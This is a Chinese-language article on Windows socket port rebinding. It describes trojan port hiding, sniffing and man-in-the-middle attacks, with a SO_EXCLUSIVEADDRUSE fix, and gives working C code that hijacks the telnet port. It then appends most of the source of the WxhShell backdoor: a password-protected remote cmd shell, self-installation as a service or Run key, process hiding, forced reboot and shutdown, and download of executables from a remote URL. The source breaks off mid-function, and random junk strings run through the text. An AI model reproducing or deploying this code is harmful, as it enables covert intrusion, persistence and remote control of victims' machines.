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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "J3x_~,[4m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wI "U7vr ^d73Ig:8q saddr.sin_family = AF_INET; -H-~;EzU (C)p9-, saddr.sin_addr.s_addr = htonl(INADDR_ANY); An/|+r\ h
zn6kbv bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {+ b7sA3 FXU8[j0P_G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <QGXy= 1m0c|ckb 这意味着什么?意味着可以进行如下的攻击: @9|hMo hK|Ul]qI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 11;zNjD| UkGCyGyZ[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q-d:TMkc %e} Saf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `~q <N Rbv;?'O$L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C+&l<
fM& B4 }bVjs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 El"Q'(:/U kB%JNMF{A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b5n'=doR/I iO;
7t@]- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @pU)_d!pJ koi^l`B$ #include \xoP)Ub> #include "kqPmeI #include Aq7osU1B #include ;gr9/Vl DWORD WINAPI ClientThread(LPVOID lpParam); b>JDH1) int main() 7. ;3e@s { {.mngRQF WORD wVersionRequested; QP J4~ DWORD ret; u\JNr}bL WSADATA wsaData; jEJT-*I1+ BOOL val; .#pU=v#/[ SOCKADDR_IN saddr; `*KHSA SOCKADDR_IN scaddr; }JAG7L&{ int err; *-p}z@8 SOCKET s; 65^9 SOCKET sc; 45>?o int caddsize; [!OxZ! HANDLE mt; 6)Lk-D DWORD tid; #>+ HlT wVersionRequested = MAKEWORD( 2, 2 ); wj0\$NQ=x err = WSAStartup( wVersionRequested, &wsaData ); N] sAji* if ( err != 0 ) { B^9j@3Ux printf("error!WSAStartup failed!\n"); "'\$
g[k return -1; \)|hogI|f } &:)Wh[ saddr.sin_family = AF_INET; 5XBH$&Td V "h
+L7T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v_-dx aw42oLk saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H_Q+&9^/ saddr.sin_port = htons(23); XOS[No~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'b{]:Y { [q #\D printf("error!socket failed!\n"); 8-77d^cprR return -1; n6a`;0f[R } /I0%Z+`= val = TRUE; Y0-n\| //SO_REUSEADDR选项就是可以实现端口重绑定的 BF{Y"8u$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~R92cH>L { mL: sJf printf("error!setsockopt failed!\n"); "LTad`]<Ro return -1; &KRX[2 } p=}Nn( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N//KPh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %8~NqS|= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YcpoL@ab R/z=p_6p7` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AkQ~k0i}b { pcWPH. ret=GetLastError(); H~1jY4E printf("error!bind failed!\n"); wDe& 1(T^ return -1; Hja3a{LH } ut7zVp<" listen(s,2); W|63Ir67 while(1) YteO6A;
{ Z}Ft:7 caddsize = sizeof(scaddr); 5C5sgR C //接受连接请求 &FN.:_E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j HJ`,# if(sc!=INVALID_SOCKET) 8c^TT& { UrEs4R1# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J{fH['tzO if(mt==NULL) 6G""I]uT { 338k?nHxv printf("Thread Creat Failed!\n"); .jWC$SVR break; '@k+4y9q? } Cd}<a?m, } LuvY<~u CloseHandle(mt); 5uj?#)N } JYbL?N closesocket(s); ;u46Z WSACleanup(); D7Q$R:6| return 0; z/@slT } ?QdWrE_
DWORD WINAPI ClientThread(LPVOID lpParam) Uf;^%*P4 { [~c|mOk SOCKET ss = (SOCKET)lpParam; _TQj~W< SOCKET sc; )W
_v:?A9 unsigned char buf[4096]; ^ Q ? SOCKADDR_IN saddr; a fW@T2 long num; =|y9UlsD DWORD val; lE(HFal0-( DWORD ret; 0gP}zM73 //如果是隐藏端口应用的话,可以在此处加一些判断 9W1YW9rL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Zaf:fsj> saddr.sin_family = AF_INET; "
9wvPC ^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [uN?
~lp\% saddr.sin_port = htons(23); ZdWm:(nkU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w4{<n/" { 3J|F?M"N7 printf("error!socket failed!\n"); `MN4uC return -1; By",rD- r } A>;bHf@ val = 100; Z4w!p?Wqa if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j[G { dhf!o0'1M ret = GetLastError(); cj|80$cSA return -1; h#
o6K# } Hc$O{]sq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _P 3G { lc1(t:"[ ret = GetLastError(); `*cxH.. return -1; ^Hnb}L } 4ber!rJM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g-</ua(j { 5o'FS{6U printf("error!socket connect failed!\n"); */^q{PsN closesocket(sc); 6"5A%{J closesocket(ss); v,{
:Ez(H return -1; H.|#c^I } RSyUaA while(1) S.94edQ { O1U= X:Zl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4I
k{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~IfJwBn-i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fg5kX num = recv(ss,buf,4096,0); =_ ./~ if(num>0) 2Aazy'/ send(sc,buf,num,0); 'qb E= else if(num==0) FaQe_; break; "fCu=@i num = recv(sc,buf,4096,0); t?x<g <PJ4 if(num>0) F|o:W75 send(ss,buf,num,0); 3G)#5Lf< else if(num==0) 9Zt`u,; break; %S@ZXf~: } g1/[eoZzk closesocket(ss); n.`($yR_ closesocket(sc); J6s`'gFns return 0 ; QT<
}]
0 } 4$iz4U:P hk(ZM#Bh x=hiQ>BIO0 ========================================================== 8>2.UrC b9KP( _ 下边附上一个代码,,WXhSHELL 1MP~dRZ$ j^j1 ========================================================== /og=IF2: <
Mn ; #include "stdafx.h" q#Z@+(^ @Q
]=\N: #include <stdio.h> c)TPM/>(p #include <string.h> E:sf{B'& #include <windows.h> UUYSFa% #include <winsock2.h>
{7"Q\ #include <winsvc.h> U3ADsdn #include <urlmon.h> =r?hgGWe UN;H+gNnN #pragma comment (lib, "Ws2_32.lib") (Ft+uuG #pragma comment (lib, "urlmon.lib") Zw
26 <Dl*l{zba #define MAX_USER 100 // 最大客户端连接数 Xk~D$~4< #define BUF_SOCK 200 // sock buffer M)J5;^[" #define KEY_BUFF 255 // 输入 buffer EnKR%Ctw 1y4|{7bb #define REBOOT 0 // 重启 {NmWQyEv #define SHUTDOWN 1 // 关机 \+oQd=K@
acajHs #define DEF_PORT 5000 // 监听端口 ?(' wn< a+[KI #define REG_LEN 16 // 注册表键长度 |B?m,U$A! #define SVC_LEN 80 // NT服务名长度 Thp[+KP> . oF
&Ff/[ // 从dll定义API y|C(X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lLX4Gq1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d\&U*= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X[-xowE- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lK?uXr7^ e/KDw // wxhshell配置信息 rT=rrvV3g struct WSCFG { j"t(0m int ws_port; // 监听端口 BA @lk+aW char ws_passstr[REG_LEN]; // 口令 du
$:jN\} int ws_autoins; // 安装标记, 1=yes 0=no jnkR}wAA char ws_regname[REG_LEN]; // 注册表键名 6+#Ydii9E char ws_svcname[REG_LEN]; // 服务名 1jmjg~W char ws_svcdisp[SVC_LEN]; // 服务显示名 B+|Kjlt char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Yamc#A- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hck]aKI+ int ws_downexe; // 下载执行标记, 1=yes 0=no NlA,'`, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $P > char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /7(W?xOe !4ocZmj\ }; 6iry6wcHm z 4e7PW| // default Wxhshell configuration =}<IfNA struct WSCFG wscfg={DEF_PORT, |QF7
uV "xuhuanlingzhe", k90YV( 1, 6gU96Z "Wxhshell", o@_q]/Mh "Wxhshell", @JiLgIe` "WxhShell Service", 7zl5yKN "Wrsky Windows CmdShell Service", 0gu_yg! R "Please Input Your Password: ", #z' 1, ` _6C{<O " http://www.wrsky.com/wxhshell.exe", =bAx,,D# "Wxhshell.exe" +X\FBvP& }; I:-Wy"i 8$]1M,$r // 消息定义模块 _f7 9wx\B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]E{NNHK%2N char *msg_ws_prompt="\n\r? for help\n\r#>"; ;_XFo&@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8:q1~`?5"b char *msg_ws_ext="\n\rExit."; p
.%]Q*8 char *msg_ws_end="\n\rQuit."; x[|}.Ew char *msg_ws_boot="\n\rReboot..."; xW+6qtG` char *msg_ws_poff="\n\rShutdown..."; !@5 9) char *msg_ws_down="\n\rSave to "; QDZWX`qw{ RV1coC.g4x char *msg_ws_err="\n\rErr!"; k<z)WNBf char *msg_ws_ok="\n\rOK!"; M.JA.I@XC .w:DFk^E]b char ExeFile[MAX_PATH]; l&[O int nUser = 0; C;v.S5x HANDLE handles[MAX_USER]; \a<wKTkn int OsIsNt; U%-A?5 *nd! )t SERVICE_STATUS serviceStatus; g/4[N{Xf SERVICE_STATUS_HANDLE hServiceStatusHandle; 2bz2KB5> 6dHOf,zjm // 函数声明 J@`1TU int Install(void); pt?bWyKG int Uninstall(void); @ 8(q$ int DownloadFile(char *sURL, SOCKET wsh); {.`vs;U int Boot(int flag); 53_Hl]#qZ void HideProc(void); K&u_R
int GetOsVer(void); C-xr"]#] int Wxhshell(SOCKET wsl); vN}#Kc\ void TalkWithClient(void *cs); n>z9K') int CmdShell(SOCKET sock); eNh39er int StartFromService(void); :x3QRF int StartWxhshell(LPSTR lpCmdLine); Fk7?xc 39c2pV[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8H[<X_/ke VOID WINAPI NTServiceHandler( DWORD fdwControl ); `K"L /I9 oE@a'*.\ // 数据结构和表定义 'B$yo] SERVICE_TABLE_ENTRY DispatchTable[] = kb%;=t2 { m<G,[Yc {wscfg.ws_svcname, NTServiceMain}, NCXRevE {NULL, NULL} 2F[ q). }; |o"?gB}Dh
y`iBFC;_ // 自我安装 _>?\DgjH int Install(void) 8bGd} ( { /A\8 mL8 char svExeFile[MAX_PATH]; S)(.,x HKEY key; pp?D7S strcpy(svExeFile,ExeFile); _`$qBw.Nx eSn+ B;
// 如果是win9x系统,修改注册表设为自启动 !vi>U|rh if(!OsIsNt) { J6"9v;V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ux-/>enc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d7^}tM RegCloseKey(key); [&[k^C5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y;eZ9|Ht9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MR7}s4o RegCloseKey(key); 5&g@3j] return 0; \<h0Q,e } &A/]pi-\ } uh_RGM& } 0|q AxR- else { 2ACCh4(/P ;<Sd~M4f // 如果是NT以上系统,安装为系统服务 2>9C-VL2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )iX~}7 if (schSCManager!=0) <V'@ks% { %Qgw7p4 SC_HANDLE schService = CreateService '6`3(TK.a ( B4/>H| schSCManager, 8,Z_{R#| wscfg.ws_svcname, X #dmo/L8 wscfg.ws_svcdisp, E`JI>7 SERVICE_ALL_ACCESS, [^n.Pn s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1nM
#kJ" SERVICE_AUTO_START, r r %V.r;2 SERVICE_ERROR_NORMAL, S\EyCi+ svExeFile, ]EbM9Fo-U NULL, w(Ovr`o?9t NULL, EP&,MYI%E NULL, b6M[q_ NULL, YaqR[F NULL JG.y,<xW ); "^[ 'y7i if (schService!=0) #Pau\|e_ { ;+_:,_ CloseServiceHandle(schService); !TH)
+zi CloseServiceHandle(schSCManager); m 0C@G5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /N+dQe strcat(svExeFile,wscfg.ws_svcname); w"F
9l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /HEw-M9z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c]<5zyl"j1 RegCloseKey(key); ODN/G%l return 0; m~ABC#,2 } G>=*yqo
} rKc9b<Ir CloseServiceHandle(schSCManager); h4}84}5d } @{e}4s?7od } 9RL`<,Q zk+9'r`-D return 1; aKDKmHd } 1~FOgk1; gg/-k;@ Rf // 自我卸载 0> E r=,e int Uninstall(void) :4w ?# { 3`?7<YJ HKEY key; qkqIV^*R y<3-?}.aZ if(!OsIsNt) { ttQGoUkj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'oVx#w^mf RegDeleteValue(key,wscfg.ws_regname); W
i.&e RegCloseKey(key);
l&zilVVm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hfB%`x#akQ RegDeleteValue(key,wscfg.ws_regname); 6_;icpN] RegCloseKey(key); Vp\,CuQ return 0; ]N]!o#q}L } G.B2(' } e%M;?0j } W@IQ^
}E else { ?z+eWL ATyEf5Id_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IP pN@ if (schSCManager!=0) {Xy5pfW
Q { ^7*11%Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q
i;1L
Kc if (schService!=0) tOD6&< { w2c?.x if(DeleteService(schService)!=0) { r5/0u(\LB CloseServiceHandle(schService); kZ:ZtE CloseServiceHandle(schSCManager); ="H%6S4' return 0; Fo_sgv8O< } ajT*/L!0_ CloseServiceHandle(schService); kD%( _K5 } 5DZ#9m/ CloseServiceHandle(schSCManager); WwFm*4{[o } Zi
i } j$:~Rek +sA2WK] return 1; pv&sO~!iC } mJnIwdW* C!!M%P // 从指定url下载文件 A)!*]o>U int DownloadFile(char *sURL, SOCKET wsh) WH} y"W { ITBE|b HRESULT hr; CRE3icXbQ char seps[]= "/"; ?l )[7LR4 char *token; tk`v:t!6U char *file; p6@)-2^ char myURL[MAX_PATH]; %> eiAB_b char myFILE[MAX_PATH]; 4$<JHo
@. t*u:hex strcpy(myURL,sURL); kevrsV]/$ token=strtok(myURL,seps); \8cx6 G' while(token!=NULL) 2ilQXy { u#.2w)!D file=token; r19
pZAc token=strtok(NULL,seps); t~XN}gMxw } `^&OF uee T5h
H GetCurrentDirectory(MAX_PATH,myFILE); T8g$uFo strcat(myFILE, "\\"); K%oG,-wdg strcat(myFILE, file); L4HI0Mx send(wsh,myFILE,strlen(myFILE),0); c@7rqHU-0 send(wsh,"...",3,0); ICQKP1WFp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iBaA9 if(hr==S_OK) ga +dt return 0; ,J@ else ":ue-=&M return 1; 1+s;FJ2} ?caSb=f } mzgfFNm^G) ?@86P|19 // 系统电源模块 @ 6vIap| int Boot(int flag) 1qA;/-Zr<o { k_#)Tw* HANDLE hToken; $UwCMPs X TOKEN_PRIVILEGES tkp; AwR=]W;j AK4t\D)K1 if(OsIsNt) { !a\^Sk
/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a7opCmL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %N._w!N<5n tkp.PrivilegeCount = 1; ob]w;" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pm7}"D'/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pq$n5fZC! if(flag==REBOOT) { ,P0) 6> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 qA' return 0; !N^@4* } :A;RH else { Vurqt_nb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pb,d'z\S return 0; ~xTt204S } AbM'3Mkz } <P<z N~i9j else { Q>z8IlJ} if(flag==REBOOT) { ueNS='+m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c71y'hnT return 0; :`sUt1Fw. } DY*N|OnqJ else { 6A ah9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fr-SvsNFB return 0; 7yQ4*UB } l]SX@zTb } v$9y,^p@e
zQ PQ return 1; 8P`"M#fI } i.#:zU%o \U_@S. // win9x进程隐藏模块 +ZV5o&V> void HideProc(void) W,u:gzmhw { &^nGtW%a 9 U0+-W07> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O6Y0XL if ( hKernel != NULL ) rC5O")I< { HaYo!.(Fv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dRMx[7jVA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F0#
'WfM# FreeLibrary(hKernel); d;>QhoiL }
lhJ'bYI -\MG}5?! return; $cgcX } ,x $,l 6\t@)=C,Q // 获取操作系统版本 +C)~bb* int GetOsVer(void) Gw` L" { '%;m?t%q OSVERSIONINFO winfo; .\mj4*?/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2<6UwF GetVersionEx(&winfo); d zMb5puH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ry]l.@o; return 1; 18Emi<&A else +T+#q@ return 0; a9Vi]; } @VI@fN SX#&5Ka/ // 客户端句柄模块 9H~n_ int Wxhshell(SOCKET wsl) /_.|E] { u&e~1?R SOCKET wsh; {{1G`;|v9 struct sockaddr_in client; %2h>-.tY DWORD myID; >GuM]qn #K&Gp- while(nUser<MAX_USER) 7$#u { 4e int nSize=sizeof(client); Bp{Ri_&A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fsXy"#mOkD if(wsh==INVALID_SOCKET) return 1; 9JwPSAo; YZ7.1`8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u:b=\T L if(handles[nUser]==0) 3XKf!P closesocket(wsh); a.Vuu)+Quw else <naz+QK' nUser++; ;a3}~s } .]Z"C&"N] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kcEeFG;DQ 1x^GWtRp return 0; R#KU^]"( } $Q0n 7[7"A // 关闭 socket d5d@k void CloseIt(SOCKET wsh) ?ubro0F: { ?4B`9<j8% closesocket(wsh); _G0x3 nUser--; liSmjsk ExitThread(0); y}H!c; } W%J\qA @@%ataUSBT // 客户端请求句柄 *`U~?q} void TalkWithClient(void *cs) e;jdqF~v! { BuwY3F\-O S[N5 ikg SOCKET wsh=(SOCKET)cs; [!z,lY> char pwd[SVC_LEN]; 8-i#8'/x char cmd[KEY_BUFF]; he4(hX^ char chr[1]; nrb Ok4Dz int i,j; % `3jL7| :-'qC8C while (nUser < MAX_USER) { kP"9&R`E Q;u pau if(wscfg.ws_passstr) { }'.m*#Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nR~(0G,H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]tD]Wx% //ZeroMemory(pwd,KEY_BUFF); KSvE~h[#+ i=0; Uv.)?YeGh while(i<SVC_LEN) { ]oxZ77ciL kl`W\t F // 设置超时 2|L&DF:G fd_set FdRead; xwr8`?]y struct timeval TimeOut; yw!{MO FD_ZERO(&FdRead); G9lUxmS< FD_SET(wsh,&FdRead); "#] $r TimeOut.tv_sec=8; P%6~&woF TimeOut.tv_usec=0; <N)oS-m> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {FGj]* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZEQ Ex]Y H. c7Nle if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jvi#) pwd =chr[0]; zTp"AuNHN if(chr[0]==0xd || chr[0]==0xa) { $Y;RKe9 pwd=0; Gq6*SaTk break; "zc l|@ } yuVs
YV@" i++; q<J~ ~' } pI[uUu7O 4JEpl'5^Q // 如果是非法用户,关闭 socket Mhu*[a=;x if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O8o3O
6[Y } Bwrx *J S3#>9k;p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CAe!7HiR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+!v}*I![ FlQGgVN while(1) { [m -bV$-d =v\.h=~~ ZeroMemory(cmd,KEY_BUFF); lMt=|66 9$Y=orpWxr // 自动支持客户端 telnet标准 No$3"4wk j=0; 9^x> 3Bo while(j<KEY_BUFF) { <$YlH@;)`a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5^cCY'I cmd[j]=chr[0]; YQ}o?Q$z if(chr[0]==0xa || chr[0]==0xd) { +mPx8P&% cmd[j]=0; NRuNKl.v break; r^ XVB`v } #G3<7PK j++; b$7 +;I; } <%^&2UMg >_TZ'FT // 下载文件 z}<^jgJ if(strstr(cmd,"http://")) { VTM/hJmwJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); )BE1Q*=
n if(DownloadFile(cmd,wsh)) OI*H,Z" send(wsh,msg_ws_err,strlen(msg_ws_err),0); kM6
Qp else ks tIgcI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0b>h$OU/ } (Z*!#}z` else { +vH4MwG$.& 1oS/`) switch(cmd[0]) { _t$sgz& {ax:RUQxy // 帮助 Z;i:]( case '?': { \zY!qpX< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x:;kSh break; sB</DS } ig!+2g // 安装 :h$$J
lP case 'i': { !VJoM,b8 if(Install()) ixFi{_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +z( Lr=G else PsYpxNr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M{@(G5 break; |=w@H]r } S!UaH>Rh // 卸载 BLttb case 'r': { s*[bFJwN if(Uninstall()) ,hVli/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~H`CrQE* else 2:kH[# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >j/w@Fj break; uph(V } *VcJ= b
2Y // 显示 wxhshell 所在路径 +2{Lh7Ks case 'p': { E
fDH6 char svExeFile[MAX_PATH]; NOva'qk strcpy(svExeFile,"\n\r"); "[J^YKoF strcat(svExeFile,ExeFile); N['.BN send(wsh,svExeFile,strlen(svExeFile),0); wj,=$RX break; kj_c%T
]/ } 3u=g6W2 F // 重启 KPF1cJ2N case 'b': { QV!up^Zso send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fVlB=8DNk& if(Boot(REBOOT)) }tz7b# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0S"MC9beg else { ;I}fBZ3
closesocket(wsh); l**X^+=$ ExitThread(0); z_HdISy0 } ~}P,.QQ break; Da|z"I
x } \hXDO_U // 关机 A"]YM'. case 'd': { p{_" bB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y4-t7UlS; if(Boot(SHUTDOWN)) ;p//QJB9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7dWS else { G\i9:7 ` closesocket(wsh); _f83-':W6 ExitThread(0); V!Uc( } &~CI<\o P break; By|4m } 7#Ft|5$~q // 获取shell .A|udZ, case 's': { [JiH\+XLPs CmdShell(wsh); CJ}%W# closesocket(wsh); 1zv'.uu., ExitThread(0); .*oU]N%K= break; I9Xuok!0>= } _>+Ld6.T6 // 退出 @JMiO^ case 'x': { FrS]|=LJhX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ml_^
`vn CloseIt(wsh); HJ"GnZp< break; `yyG/l } 0mE 0 j // 离开 %b$>qW\*& case 'q': { D*jM1w_` send(wsh,msg_ws_end,strlen(msg_ws_end),0); oJ^P(] dw closesocket(wsh); ^#pEPVkY WSACleanup(); e'~3oqSvR exit(1); N~Jda
o break; {: /}NpA$ } d]9z@Pd } y29m/i: } C%u28| HMXE$d=[ // 提示信息 *dQSw)R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5BIY<B+i } %9"H } )0`C@um \bXa&Lq return; e\rp)[>' } 2?C)& ZJoM?g~WFI // shell模块句柄 z{q`G wW int CmdShell(SOCKET sock) &=[WIG+rk { 0GL M(JmK STARTUPINFO si; l1I#QB@5n ZeroMemory(&si,sizeof(si)); Pz7XAcPQ( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UKGPtKE< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C!gZN9- PROCESS_INFORMATION ProcessInfo; kJU2C=m@e2 char cmdline[]="cmd"; X}]-*T|a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
7GGUV return 0; l/D}
X } @ Qe0! (_= 7zMr:JmV // 自身启动模式 y =@N|f! int StartFromService(void) , gHDx { )b)z m2; typedef struct \8tsDG(1 ' { >_}
I.\X DWORD ExitStatus; ZCw]m#lS DWORD PebBaseAddress; okXl8&mi DWORD AffinityMask; \vNU,WO DWORD BasePriority; K3C <{#r ULONG UniqueProcessId; y`Fw-!'o ULONG InheritedFromUniqueProcessId; XW9!p.*.U } PROCESS_BASIC_INFORMATION; fA-7VdR`R =N@t'fOr PROCNTQSIP NtQueryInformationProcess; CTK;dM'uQ V&i;\ 9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @HW*09TG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |ZBw<f :&Nbw HANDLE hProcess; P>L +t`' PROCESS_BASIC_INFORMATION pbi; E7hhew 6@o*xK7L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^.tg 7%dJ if(NULL == hInst ) return 0; 0x7'^Z>-oe 9L9sqZUB g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
lr?;*f^3
